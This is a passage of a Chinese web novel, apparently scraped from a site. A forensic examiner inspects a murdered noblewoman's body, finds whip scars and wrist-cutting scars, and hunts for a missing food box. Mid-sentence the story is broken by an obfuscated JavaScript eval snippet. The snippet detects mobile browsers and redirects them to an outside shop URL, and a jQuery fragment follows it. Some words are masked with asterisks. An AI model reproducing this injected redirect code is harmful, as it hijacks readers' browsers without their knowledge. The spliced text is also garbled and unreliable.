“我不知道。”顾婉贞摇头,“她来的时候,我看她脸色不太好,问她怎么了,她只说没事,后来……后来就一直坐在角落里,谁也不理。”
闻昭想起方才看见的杨婷,确实一直坐在角落里,低着头,也不与人说话,直到吴嫣儿过去挽她的手臂。
吴嫣儿过去的时候,杨婷的身子僵了一瞬。
那一瞬,是因为什么?
“你看见过那盒点心吗,知道它放哪吗?”
顾婉贞想了想:“不知道,杨婷来的时候手里确实拿着个食盒,后来不知放哪儿了。”
“她自己拿着?”闻昭诧异道。
杨婷好歹也算是个高门大户的主母,身边连个伺候的人都没有,一个食盒还得自己拿着。
“对,她自己拿着的。”顾婉贞的声音低了下去,“自从第一次小产,她身边就没有了可以信任的人,近身入口的东西,她是万万不敢给别人看着的。”
“那个食盒呢?”闻昭问。
“不知道……宴会上人多,一时半会我也没看住,同她只寥寥说了几句话,食盒……记不清了。”
闻昭转身就走。
“裴少夫人!”顾婉贞叫住她,“你做什么去?”
闻昭脚步一顿,回头看她:“找那个食盒。”
顾婉贞张了张嘴,似乎想说什么,最终只是叹了口气:“我让人帮你找。”
她走到门口,正要叫人,忽然又回过头来。
“裴少夫人。”她说,“杨婷在这儿杀了人,虽然事出有因,但是前情后果都清清楚楚,但她**也是事实……你就算插手,也改变不了什么。”
闻昭耸耸肩,“我没说我要改变什么。”
顾婉贞疑惑蹙眉。
闻昭看着她,正色道:“就因为**是事实,前因就该被抹去了吗?县主,杨婷为何**,死者为何而死,才是活着的人该探究的事,而不是想着如何尽快遮掩过去,**。”
顾婉贞张了张嘴,最后依旧什么都没说。
闻昭在园子里转了两圈,没有找到那个食盒。
丫鬟婆子们被顾婉贞支使着四处翻找,花丛后、石桌下、假山缝隙,但凡能藏东西的地方都寻遍了,却什么也没找着。
“少夫人。”半夏小跑着跟上来,气喘吁吁,“要不咱们先回去?这地方刚**人,怪晦气的……”
闻昭没理她,站在原地想了想,忽然问:“杨婷被押走的时候,手里拿着东西吗?”
半夏一愣,努力回想:“没、没有吧……奴婢光顾着看那些官差,没注意她的手……”
闻昭转身往园门口走。
“少夫人!”半夏赶紧跟上,“您又要去哪儿?”
“大理寺。”
……
一个时辰后,吴嫣儿的尸体已经躺在了大理寺的殓房。
她眼睛依旧睁着,只是瞳孔已经开始涣散。
裴植站在三步开外,负手而立,目光落在尸体上,神色平静。
闻昭全当没看见他。
她利落地穿戴好,随即开始检验,现在毕竟是在大理寺内,比方才仔细得多。
她先检查了伤口,确认了自己的判断——位置精准,力道均匀,确实是懂行的人所为,这个杨婷简直是个练家子。
闻昭想了一下,就算是自己去**,只拿了一把金簪,也不一定能这么精准的一刀毙命。
然后她解开吴嫣儿的衣襟,查看身体其他部位。
裴植默默挪到了她身侧,没有说话,也没有催促。
然而解开衣服后,闻昭的手指忽然顿住了。
吴嫣儿的左肩胛骨下方,有几道暗红色的旧痕,已经淡得快要看不清了,但仔细辨认,还是能看出是鞭痕。
她和裴植对视一眼,手上动作加快,掀开衣袖一看,手臂内侧也有不少鞭痕,细细长长的,有的已经泛白,有的还带着淡淡的青紫。
闻昭的眉头皱了起来。
她又查看吴嫣儿的双腿,同样有类似的痕迹,有些已经愈合多年,有些却是近期的。
“鞭伤。”她头也不抬地说,“新旧不一,有些至少一两年前就有了,最近的一次……大概在七八天前。”
裴植道:“这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451372|201175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤痕不太对。”
“嗯?”
“这是上刑导致的。”他虚指了指她手腕上的交叉状伤痕,“这是把人吊起来再用鞭子抽造成的。”
闻昭看他一眼,没好气地说:“你怎么知道?”
裴植眉梢一挑,“见过。”
闻昭白他一眼,“我还以为你抽过呢。”
裴植:“……”
闻昭继续检查,翻过吴嫣儿的手腕时,她的动作再次顿住。
手腕内侧,有几道细细的疤痕,横着的,排列整齐,深浅长短不一。
除了教科书,闻昭很久没见过这么典型的割腕试探伤了。
闻昭把吴嫣儿的两只手都翻过来,仔细数了数——左手手腕三道,右手手腕两道,有的已经很淡了,有的还能看出当年下手时的深浅不一。
试探性割腕。
“吴嫣儿想**,应该有一阵子了。”
这些伤痕的跨度都很大。
她又补充道:“从疤痕的颜色来看,最早的一次大概在一两年前,最近的一次也在半年以上了。”
裴植道:“坊间传闻是吴家对她如珠如宝,养得她娇纵蛮横。”
闻昭瞥了眼她身上穿的,用料极为讲究,花样子也是正时兴的,脑袋上珠翠满头,旁人看了会觉得她受宠也不奇怪。
“而且,按你说的吴嫣儿是被人吊起来抽,但她手腕除了自己造成的割腕试探伤之外,没有任何其他痕迹,吴家人肯定也是怕被人发现。”闻昭放下吴嫣儿的手,站起身,摘下染血的手套,“但这些伤——”
她忽然顿住,目光落在吴嫣儿的指甲上。
方才没注意,这会儿仔细看,吴嫣儿的指甲修剪得很整齐,指甲缝里也很干净,但右手食指的指甲盖上,有一道极细的划痕,像是被什么东西刮过。
那道划痕很新,边缘还有一点极淡的白色粉末。
她伸手,用指尖轻轻蹭了蹭,放到鼻端闻了闻,石灰?
应该是不小心在墙壁上抹了一下。
她提了个建议:“但这些伤……要么先把吴家人抓了吧。”